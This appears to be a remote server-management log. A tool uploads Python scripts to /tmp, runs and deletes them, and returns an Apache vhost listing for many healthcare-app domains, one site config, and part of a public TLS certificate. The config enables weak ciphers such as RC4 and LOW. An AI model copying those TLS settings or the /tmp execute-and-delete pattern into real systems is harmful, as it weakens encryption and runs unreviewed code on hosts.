2026-07-24 06:00:42: 

chmod 755 /tmp/pkp996061; /tmp/pkp996061; rm /tmp/pkp996061

2026-07-24 06:00:42: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-24 06:00:42: 

PUT: /tmp/pkp733699

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-24 06:00:42: 

chmod 755 /tmp/pkp733699; /tmp/pkp733699; rm /tmp/pkp733699

2026-07-24 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf	1339

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-24 06:00:42: 

PUT: /tmp/pkp595192

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-24 06:00:42: 

chmod 755 /tmp/pkp595192; /tmp/pkp595192; rm /tmp/pkp595192

2026-07-24 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt	7404
e7:70:c2:01:c6:8a:af:cc:ea:09:5e:c1:89:32:00:81

-----BEGIN CERTIFICATE-----
MIIE7DCCA9SgAwIBAgISBeSr5T9Ms0Z8UrBSKGBLxOG8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzI0MDUwMjEwWhcNMjYxMDIyMDUwMjA5WjAUMRIwEAYDVQQD
Ewl2ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDU+SJ6
7t/O4ZxZQwdnnmuAUnSPXka3a+eZjyBEhr6jJxDIc1IhhO/iXA0I32ShQgdgcEpe
C+5wuN/lGqcFYglDAbpojWyIMy4Bu7IPpDv4wFcYZXXIt73qPa25kAVsf2pTORlO
BhWB0RQTDdVugpf7FQn5KvNNiPGMnEr6kiWYJimdXBs77z6zuSklbhovyjrLxsDY
mhB9AZb+Ffadd/TuLLpPjY3QHO5ReHqf9l/uGoBBLPRdh2yjphFWO2ix8ERUVfWU
5ODaQpFIvvJeyvQsRPgZAdxaHffvND1ZvINJRRGGek7xsVMElKltGbBQGKIZpuL8
PkOqPWutWGuCmTzhAgMBAAGjggIXMIICEzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU1osjyfOxdG2/
